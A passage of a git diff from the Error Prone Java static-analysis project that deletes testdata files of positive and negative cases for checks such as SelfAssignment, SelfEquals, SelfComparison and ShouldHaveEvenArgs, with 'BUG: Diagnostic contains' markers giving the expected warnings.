contains: Rx objects must be checked. - flowableChild.ignoringFunction(); - // BUG: Diagnostic contains: Rx objects must be checked. - maybeChild.ignoringFunction(); - } - - public void conditional() { - if (false) { - // BUG: Diagnostic contains: Rx objects must be checked. - getObservable(); - // BUG: Diagnostic contains: Rx objects must be checked. - getSingle(); - // BUG: Diagnostic contains: Rx objects must be checked. - getFlowable(); - // BUG: Diagnostic contains: Rx objects must be checked. - getMaybe(); - } - - return; - } - - static void getFromMap() { - Map map1 = new HashMap<>(); - Map map2 = new HashMap<>(); - Map map3 = new HashMap<>(); - Map map4 = new HashMap<>(); - - // BUG: Diagnostic contains: Rx objects must be checked. - map1.get(null); - // BUG: Diagnostic contains: Rx objects must be checked. - map2.get(null); - // BUG: Diagnostic contains: Rx objects must be checked. - map3.get(null); - // BUG: Diagnostic contains: Rx objects must be checked. - map4.get(null); - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/SelfAssertionNegativeCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/SelfAssertionNegativeCases.java deleted file mode 100644 index 13c70c044a0..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/SelfAssertionNegativeCases.java +++ /dev/null @@ -1,35 +0,0 @@ -/* - * Copyright 2016 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -import static com.google.common.truth.Truth.assertThat; - -/** - * Negative test cases for SelfAssertion check. - * - * @author bhagwani@google.com (Sumit Bhagwani) - */ -public class SelfAssertionNegativeCases { - - public void testEq() { - assertThat(Boolean.TRUE.toString()).isEqualTo(Boolean.FALSE.toString()); - } - - public void testNeq() { - assertThat(Boolean.TRUE.toString()).isNotEqualTo(Boolean.FALSE.toString()); - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/SelfAssertionPositiveCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/SelfAssertionPositiveCases.java deleted file mode 100644 index a81fa607036..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/SelfAssertionPositiveCases.java +++ /dev/null @@ -1,76 +0,0 @@ -/* - * Copyright 2016 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -import static com.google.common.truth.Truth.assertThat; -import static com.google.common.truth.Truth.assertWithMessage; - -/** - * Positive test cases for SelfAssertion check. - * - * @author bhagwani@google.com (Sumit Bhagwani) - */ -public class SelfAssertionPositiveCases { - - public void testAssertThatEq() { - String test = Boolean.TRUE.toString(); - // BUG: Diagnostic contains: - assertThat(test).isEqualTo(test); - } - - public void testAssertWithMessageEq() { - String test = Boolean.TRUE.toString(); - // BUG: Diagnostic contains: - assertWithMessage("msg").that(test).isEqualTo(test); - } - - public void testAssertThatSame() { - String test = Boolean.TRUE.toString(); - // BUG: Diagnostic contains: - assertThat(test).isSameInstanceAs(test); - } - - public void testAssertWithMessageSame() { - String test = Boolean.TRUE.toString(); - // BUG: Diagnostic contains: - assertWithMessage("msg").that(test).isSameInstanceAs(test); - } - - public void testAssertThatNeq() { - String test = Boolean.TRUE.toString(); - // BUG: Diagnostic contains: - assertThat(test).isNotEqualTo(test); - } - - public void testAssertThatNotSame() { - String test = Boolean.TRUE.toString(); - // BUG: Diagnostic contains: - assertThat(test).isNotSameInstanceAs(test); - } - - public void testAssertWithMessageNeq() { - String test = Boolean.TRUE.toString(); - // BUG: Diagnostic contains: - assertWithMessage("msg").that(test).isNotEqualTo(test); - } - - public void testAssertWithMessageNotSame() { - String test = Boolean.TRUE.toString(); - // BUG: Diagnostic contains: - assertWithMessage("msg").that(test).isNotSameInstanceAs(test); - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/SelfAssignmentNegativeCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/SelfAssignmentNegativeCases.java deleted file mode 100644 index e1ad69bc06f..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/SelfAssignmentNegativeCases.java +++ /dev/null @@ -1,109 +0,0 @@ -/* - * Copyright 2011 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -import static com.google.common.base.Preconditions.checkNotNull; -import static java.util.Objects.requireNonNull; - -/** - * Tests for self assignment - * - * @author eaftan@google.com (Eddie Aftandilian) - */ -public class SelfAssignmentNegativeCases { - private int a; - - private static int b = StaticClass.b; - private static final int C = SelfAssignmentNegativeCases.b; - private static final int D = checkNotNull(SelfAssignmentNegativeCases.C); - private static final int E = requireNonNull(SelfAssignmentNegativeCases.D); - private static final int F = StaticClass.getIntArr().length; - - public void test1(int a) { - int b = SelfAssignmentNegativeCases.b; - this.a = a; - this.a = checkNotNull(a); - this.a = requireNonNull(a); - } - - public void test2() { - int a = 0; - int b = a; - a = b; - } - - public void test3() { - int a = 10; - } - - public void test4() { - int i = 1; - i += i; - } - - public void test5(SelfAssignmentNegativeCases n) { - a = n.a; - } - - public void test6() { - Foo foo = new Foo(); - Bar bar = new Bar(); - foo.a = bar.a; - foo.a = checkNotNull(bar.a); - foo.a = requireNonNull(bar.a); - } - - public void test7() { - Foobar f1 = new Foobar(); - f1.foo = new Foo(); - f1.bar = new Bar(); - f1.foo.a = f1.bar.a; - f1.foo.a = checkNotNull(f1.bar.a); - f1.foo.a = requireNonNull(f1.bar.a); - } - - public void test8(SelfAssignmentNegativeCases that) { - this.a = that.a; - this.a = checkNotNull(that.a); - this.a = requireNonNull(that.a); - } - - public void test9(int a) { - a += a; - } - - private static class Foo { - int a; - } - - private static class Bar { - int a; - } - - private static class Foobar { - Foo foo; - Bar bar; - } - - private static class StaticClass { - static int b; - - public static int[] getIntArr() { - return new int[10]; - } - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/SelfAssignmentPositiveCases2.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/SelfAssignmentPositiveCases2.java deleted file mode 100644 index eb6d4e9361b..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/SelfAssignmentPositiveCases2.java +++ /dev/null @@ -1,118 +0,0 @@ -/* - * Copyright 2011 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -import static com.google.common.base.Preconditions.checkNotNull; -import static java.util.Objects.requireNonNull; - -/** - * Tests for self assignment - * - * @author eaftan@google.com (Eddie Aftandilian) - */ -public class SelfAssignmentPositiveCases2 { - private int a; - private Foo foo; - - // BUG: Diagnostic contains: private static final Object obj - private static final Object obj = SelfAssignmentPositiveCases2.obj; - // BUG: Diagnostic contains: private static final Object obj2 - private static final Object obj2 = checkNotNull(SelfAssignmentPositiveCases2.obj2); - - public void test6() { - Foo foo = new Foo(); - foo.a = 2; - // BUG: Diagnostic contains: remove this line - foo.a = foo.a; - // BUG: Diagnostic contains: checkNotNull(foo.a) - foo.a = checkNotNull(foo.a); - // BUG: Diagnostic contains: requireNonNull(foo.a) - foo.a = requireNonNull(foo.a); - } - - public void test7() { - Foobar f = new Foobar(); - f.foo = new Foo(); - f.foo.a = 10; - // BUG: Diagnostic contains: remove this line - f.foo.a = f.foo.a; - // BUG: Diagnostic contains: checkNotNull(f.foo.a) - f.foo.a = checkNotNull(f.foo.a); - // BUG: Diagnostic contains: requireNonNull(f.foo.a) - f.foo.a = requireNonNull(f.foo.a); - } - - public void test8() { - foo = new Foo(); - // BUG: Diagnostic contains: remove this line - this.foo.a = foo.a; - // BUG: Diagnostic contains: checkNotNull(foo.a) - this.foo.a = checkNotNull(foo.a); - // BUG: Diagnostic contains: requireNonNull(foo.a) - this.foo.a = requireNonNull(foo.a); - } - - public void test9(Foo fao, Foo bar) { - // BUG: Diagnostic contains: this.foo = fao - this.foo = foo; - // BUG: Diagnostic contains: this.foo = checkNotNull(fao) - this.foo = checkNotNull(foo); - // BUG: Diagnostic contains: this.foo = requireNonNull(fao) - this.foo = requireNonNull(foo); - } - - public void test10(Foo foo) { - // BUG: Diagnostic contains: this.foo = foo - foo = foo; - // BUG: Diagnostic contains: this.foo = checkNotNull(foo) - foo = checkNotNull(foo); - // BUG: Diagnostic contains: this.foo = requireNonNull(foo) - foo = requireNonNull(foo); - } - - class Test11 { - final Foo foo; - - Foo fao; - - Test11(Foo foo) { - if (true) { - // BUG: Diagnostic contains: this.fao = foo - foo = foo; - } - this.foo = foo; - } - - public void test11a(Foo foo) { - // BUG: Diagnostic contains: this.fao = foo - foo = foo; - } - } - - private static class Foo { - int a; - } - - private static class Bar { - int a; - } - - private static class Foobar { - Foo foo; - Bar bar; - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/SelfComparisonNegativeCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/SelfComparisonNegativeCases.java deleted file mode 100644 index 602317939d1..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/SelfComparisonNegativeCases.java +++ /dev/null @@ -1,54 +0,0 @@ -/* - * Copyright 2016 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -/** - * Negative test cases for {@link SelfComparison} check. - * - * @author bhagwani@google.com (Sumit Bhagwani) - */ -public class SelfComparisonNegativeCases implements Comparable { - private String field; - - @Override - public int hashCode() { - return field != null ? field.hashCode() : 0; - } - - @Override - public int compareTo(Object o) { - if (!(o instanceof SelfComparisonNegativeCases)) { - return -1; - } - - SelfComparisonNegativeCases other = (SelfComparisonNegativeCases) o; - return field.compareTo(other.field); - } - - public int test() { - return Boolean.TRUE.toString().compareTo(Boolean.FALSE.toString()); - } - - public static class CopmarisonTest implements Comparable { - private String testField; - - @Override - public int compareTo(CopmarisonTest obj) { - return testField.compareTo(obj.testField); - } - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/SelfComparisonPositiveCase.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/SelfComparisonPositiveCase.java deleted file mode 100644 index fdd5f2870a9..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/SelfComparisonPositiveCase.java +++ /dev/null @@ -1,95 +0,0 @@ -/* - * Copyright 2016 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -/** - * Positive test case for {@link SelfComparison} check. - * - * @author bhagwani@google.com (Sumit Bhagwani) - */ -public class SelfComparisonPositiveCase implements Comparable { - - public int test1() { - SelfComparisonPositiveCase obj = new SelfComparisonPositiveCase(); - // BUG: Diagnostic contains: An object is compared to itself - return obj.compareTo(obj); - } - - private SelfComparisonPositiveCase obj = new SelfComparisonPositiveCase(); - - public int test2() { - // BUG: Diagnostic contains: An object is compared to itself - return obj.compareTo(this.obj); - } - - public int test3() { - // BUG: Diagnostic contains: An object is compared to itself - return this.obj.compareTo(obj); - } - - public int test4() { - // BUG: Diagnostic contains: An object is compared to itself - return this.obj.compareTo(this.obj); - } - - public int test5() { - // BUG: Diagnostic contains: An object is compared to itself - return compareTo(this); - } - - @Override - public int compareTo(Object o) { - return 0; - } - - public static class ComparisonTest implements Comparable { - private String testField; - - @Override - public int compareTo(ComparisonTest s) { - return testField.compareTo(s.testField); - } - - public int test1() { - ComparisonTest obj = new ComparisonTest(); - // BUG: Diagnostic contains: An object is compared to itself - return obj.compareTo(obj); - } - - private ComparisonTest obj = new ComparisonTest(); - - public int test2() { - // BUG: Diagnostic contains: An object is compared to itself - return obj.compareTo(this.obj); - } - - public int test3() { - // BUG: Diagnostic contains: An object is compared to itself - return this.obj.compareTo(obj); - } - - public int test4() { - // BUG: Diagnostic contains: An object is compared to itself - return this.obj.compareTo(this.obj); - } - - public int test5() { - // BUG: Diagnostic contains: An object is compared to itself - return compareTo(this); - } - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/SelfEqualsGuavaNegativeCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/SelfEqualsGuavaNegativeCases.java deleted file mode 100644 index e5eb0d5d753..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/SelfEqualsGuavaNegativeCases.java +++ /dev/null @@ -1,44 +0,0 @@ -/* - * Copyright 2016 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -import com.google.common.base.Objects; - -/** - * @author bhagwani@google.com (Sumit Bhagwani) - */ -public class SelfEqualsGuavaNegativeCases { - private String field; - - @Override - public boolean equals(Object o) { - if (this == o) { - return true; - } - if (o == null || getClass() != o.getClass()) { - return false; - } - - SelfEqualsGuavaNegativeCases other = (SelfEqualsGuavaNegativeCases) o; - return Objects.equal(field, other.field); - } - - @Override - public int hashCode() { - return field != null ? field.hashCode() : 0; - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/SelfEqualsGuavaPositiveCase.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/SelfEqualsGuavaPositiveCase.java deleted file mode 100644 index 2a95b82e43a..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/SelfEqualsGuavaPositiveCase.java +++ /dev/null @@ -1,64 +0,0 @@ -/* - * Copyright 2011 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -import com.google.common.base.Objects; - -/** - * @author alexeagle@google.com (Alex Eagle) - */ -public class SelfEqualsGuavaPositiveCase { - private String field = ""; - - @Override - public boolean equals(Object o) { - if (this == o) { - return true; - } - if (o == null || getClass() != o.getClass()) { - return false; - } - SelfEqualsGuavaPositiveCase other = (SelfEqualsGuavaPositiveCase) o; - boolean retVal; - // BUG: Diagnostic contains: Objects.equal(field, other.field) - retVal = Objects.equal(field, field); - // BUG: Diagnostic contains: Objects.equal(other.field, this.field) - retVal &= Objects.equal(field, this.field); - // BUG: Diagnostic contains: Objects.equal(this.field, other.field) - retVal &= Objects.equal(this.field, field); - // BUG: Diagnostic contains: Objects.equal(this.field, other.field) - retVal &= Objects.equal(this.field, this.field); - - return retVal; - } - - @Override - public int hashCode() { - return Objects.hashCode(field); - } - - public static void test() { - ForTesting tester = new ForTesting(); - // BUG: Diagnostic contains: Objects.equal(tester.testing.testing, tester.testing) - Objects.equal(tester.testing.testing, tester.testing.testing); - } - - private static class ForTesting { - public ForTesting testing; - public String string; - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/SelfEqualsNegativeCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/SelfEqualsNegativeCases.java deleted file mode 100644 index 56316e7c6ba..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/SelfEqualsNegativeCases.java +++ /dev/null @@ -1,56 +0,0 @@ -/* - * Copyright 2011 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -import static com.google.common.truth.Truth.assertThat; - -/** - * Negative test cases for {@link SelfEquals} check. - * - * @author alexeagle@google.com (Alex Eagle) - * @author bhagwani@google.com (Sumit Bhagwani) - */ -public class SelfEqualsNegativeCases { - private String field; - - @Override - public int hashCode() { - return field != null ? field.hashCode() : 0; - } - - @Override - public boolean equals(Object o) { - if (!(o instanceof SelfEqualsNegativeCases)) { - return false; - } - - SelfEqualsNegativeCases other = (SelfEqualsNegativeCases) o; - return field.equals(other.field); - } - - public boolean test() { - return Boolean.TRUE.toString().equals(Boolean.FALSE.toString()); - } - - public void testAssertThatEq(SelfEqualsNegativeCases obj) { - assertThat(obj).isEqualTo(obj); - } - - public void testAssertThatNeq(SelfEqualsNegativeCases obj) { - assertThat(obj).isNotEqualTo(obj); - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/SelfEqualsPositiveCase.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/SelfEqualsPositiveCase.java deleted file mode 100644 index f8badde7419..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/SelfEqualsPositiveCase.java +++ /dev/null @@ -1,110 +0,0 @@ -/* - * Copyright 2011 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -import static com.google.common.truth.Truth.assertThat; - -import org.junit.Assert; - -/** - * Positive test cases for {@link SelfEquals} check. - * - * @author eaftan@google.com (Eddie Aftandilian) - * @author bhagwani@google.com (Sumit Bhagwani) - */ -public class SelfEqualsPositiveCase { - protected String simpleField; - - public boolean test1(Object obj) { - if (obj == null || getClass() != obj.getClass()) { - return false; - } - SelfEqualsPositiveCase other = (SelfEqualsPositiveCase) obj; - // BUG: Diagnostic contains: simpleField.equals(other.simpleField); - return simpleField.equals(simpleField); - } - - public boolean test2(SelfEqualsPositiveCase obj) { - if (obj == null || getClass() != obj.getClass()) { - return false; - } - SelfEqualsPositiveCase other = (SelfEqualsPositiveCase) obj; - // BUG: Diagnostic contains: simpleField.equals(other.simpleField); - return simpleField.equals(this.simpleField); - } - - public boolean test3(SelfEqualsPositiveCase obj) { - if (obj == null || getClass() != obj.getClass()) { - return false; - } - SelfEqualsPositiveCase other = (SelfEqualsPositiveCase) obj; - // BUG: Diagnostic contains: this.simpleField.equals(other.simpleField); - return this.simpleField.equals(simpleField); - } - - public boolean test4(SelfEqualsPositiveCase obj) { - if (obj == null || getClass() != obj.getClass()) { - return false; - } - SelfEqualsPositiveCase other = (SelfEqualsPositiveCase) obj; - // BUG: Diagnostic contains: this.simpleField.equals(other.simpleField); - return this.simpleField.equals(this.simpleField); - } - - public boolean test5(SelfEqualsPositiveCase obj) { - if (obj == null || getClass() != obj.getClass()) { - return false; - } - SelfEqualsPositiveCase other = (SelfEqualsPositiveCase) obj; - // BUG: Diagnostic contains: - return equals(this); - } - - public void testAssertTrue(SelfEqualsPositiveCase obj) { - Assert.assertTrue(obj.equals(obj)); - } - - public void testAssertThat(SelfEqualsPositiveCase obj) { - assertThat(obj.equals(obj)).isTrue(); - } - - @Override - public boolean equals(Object obj) { - if (obj == null || getClass() != obj.getClass()) { - return false; - } - SelfEqualsPositiveCase other = (SelfEqualsPositiveCase) obj; - return simpleField.equals(((SelfEqualsPositiveCase) other).simpleField); - } - - private static class SubClass extends SelfEqualsPositiveCase { - @Override - public boolean equals(Object obj) { - if (obj == null || getClass() != obj.getClass()) { - return false; - } - SubClass other = (SubClass) obj; - return simpleField.equals(((SubClass) other).simpleField); - } - } - - public void testSub() { - SubClass sc = new SubClass(); - // BUG: Diagnostic contains: - sc.equals(sc); - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/ShouldHaveEvenArgsMultimapNegativeCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/ShouldHaveEvenArgsMultimapNegativeCases.java deleted file mode 100644 index 971c6d26b6b..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/ShouldHaveEvenArgsMultimapNegativeCases.java +++ /dev/null @@ -1,58 +0,0 @@ -/* - * Copyright 2017 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -import static com.google.common.truth.Truth.assertThat; - -import com.google.common.collect.ImmutableMultimap; -import com.google.common.collect.Multimap; - -/** - * Negative test cases for {@link ShouldHaveEvenArgs} check. - * - * @author monnoroch@google.com (Max Strakhov) - */ -public class ShouldHaveEvenArgsMultimapNegativeCases { - - private static final Multimap multimap = ImmutableMultimap.of(); - - public void testWithMinimalArgs() { - assertThat(multimap).containsExactly("hello", "there"); - } - - public void testWithEvenArgs() { - assertThat(multimap).containsExactly("hello", "there", "hello", "there"); - } - - public void testWithVarargs(Object... args) { - assertThat(multimap).containsExactly("hello", args); - assertThat(multimap).containsExactly("hello", "world", args); - } - - public void testWithArray() { - String[] arg = {"hello", "there"}; - assertThat(multimap).containsExactly("yolo", arg); - - String key = "hello"; - Object[] value = new Object[] {}; - Object[][] args = new Object[][] {}; - - assertThat(multimap).containsExactly(key, value); - assertThat(multimap).containsExactly(key, value, (Object[]) args); - assertThat(multimap).containsExactly(key, value, key, value, key, value); - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/ShouldHaveEvenArgsMultimapPositiveCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/ShouldHaveEvenArgsMultimapPositiveCases.java deleted file mode 100644 index e6289935b29..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/ShouldHaveEvenArgsMultimapPositiveCases.java +++ /dev/null @@ -1,65 +0,0 @@ -/* - * Copyright 2017 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -import static com.google.common.truth.Truth.assertThat; - -import com.google.common.collect.ImmutableMultimap; -import com.google.common.collect.Multimap; -import com.google.common.truth.Correspondence; - -/** - * Positive test cases for {@link ShouldHaveEvenArgs} check. - * - * @author monnoroch@google.com (Max Strakhov) - */ -public class ShouldHaveEvenArgsMultimapPositiveCases { - - private static final Multimap multimap = ImmutableMultimap.of(); - - public void testWithOddArgs() { - // BUG: Diagnostic contains: even number of arguments - assertThat(multimap).containsExactly("hello", "there", "rest"); - - // BUG: Diagnostic contains: even number of arguments - assertThat(multimap).containsExactly("hello", "there", "hello", "there", "rest"); - - // BUG: Diagnostic contains: even number of arguments - assertThat(multimap).containsExactly(null, null, null, null, new Object[] {}); - } - - public void testWithArrayArgs() { - String key = "hello"; - Object[] value = new Object[] {}; - Object[][] args = new Object[][] {}; - - // BUG: Diagnostic contains: even number of arguments - assertThat(multimap).containsExactly(key, value, (Object) args); - } - - public void testWithOddArgsWithCorrespondence() { - assertThat(multimap) - .comparingValuesUsing(Correspondence.from((a, b) -> true, "dummy")) - // BUG: Diagnostic contains: even number of arguments - .containsExactly("hello", "there", "rest"); - - assertThat(multimap) - .comparingValuesUsing(Correspondence.from((a, b) -> true, "dummy")) - // BUG: Diagnostic contains: even number of arguments - .containsExactly("hello", "there", "hello", "there", "rest"); - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/ShouldHaveEvenArgsNegativeCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/ShouldHaveEvenArgsNegativeCases.java deleted file mode 100644 index 3137e9534b5..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/ShouldHaveEvenArgsNegativeCases.java +++ /dev/null @@ -1,62 +0,0 @@ -/* - * Copyright 2017 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -import static com.google.common.truth.Truth.assertThat; - -import java.util.HashMap; -import java.util.Map; - -/** - * Negative test cases for {@link ShouldHaveEvenArgs} check. - * - * @author bhagwani@google.com (Sumit Bhagwani) - */ -public class ShouldHaveEvenArgsNegativeCases { - - private static final Map map = new HashMap(); - - public void testWithNoArgs() { - assertThat(map).containsExactly(); - } - - public void testWithMinimalArgs() { - assertThat(map).containsExactly("hello", "there"); - } - - public void testWithEvenArgs() { - assertThat(map).containsExactly("hello", "there", "hello", "there"); - } - - public void testWithVarargs(Object... args) { - assertThat(map).containsExactly("hello", args); - assertThat(map).containsExactly("hello", "world", args); - } - - public void testWithArray() { - String[] arg = {"hello", "there"}; - assertThat(map).containsExactly("yolo", arg); - - String key = "hello"; - Object[] value = new Object[] {}; - Object[][] args = new Object[][] {}; - - assertThat(map).containsExactly(key, value); - assertThat(map).containsExactly(key, value, (Object[]) args); - assertThat(map).containsExactly(key, value, key, value, key, value); - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/ShouldHaveEvenArgsPositiveCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/ShouldHaveEvenArgsPositiveCases.java deleted file mode 100644 index 514078cce4a..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/ShouldHaveEvenArgsPositiveCases.java +++ /dev/null @@ -1,65 +0,0 @@ -/* - * Copyright 2017 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -import static com.google.common.truth.Truth.assertThat; - -import com.google.common.truth.Correspondence; -import java.util.HashMap; -import java.util.Map; - -/** - * Positive test cases for {@link ShouldHaveEvenArgs} check. - * - * @author bhagwani@google.com (Sumit Bhagwani) - */ -public class ShouldHaveEvenArgsPositiveCases { - - private static final Map map = new HashMap(); - - public void testWithOddArgs() { - // BUG: Diagnostic contains: even number of arguments - assertThat(map).containsExactly("hello", "there", "rest"); - - // BUG: Diagnostic contains: even number of arguments - assertThat(map).containsExactly("hello", "there", "hello", "there", "rest"); - - // BUG: Diagnostic contains: even number of arguments - assertThat(map).containsExactly(null, null, null, null, new Object[] {}); - } - - public void testWithArrayArgs() { - String key = "hello"; - Object[] 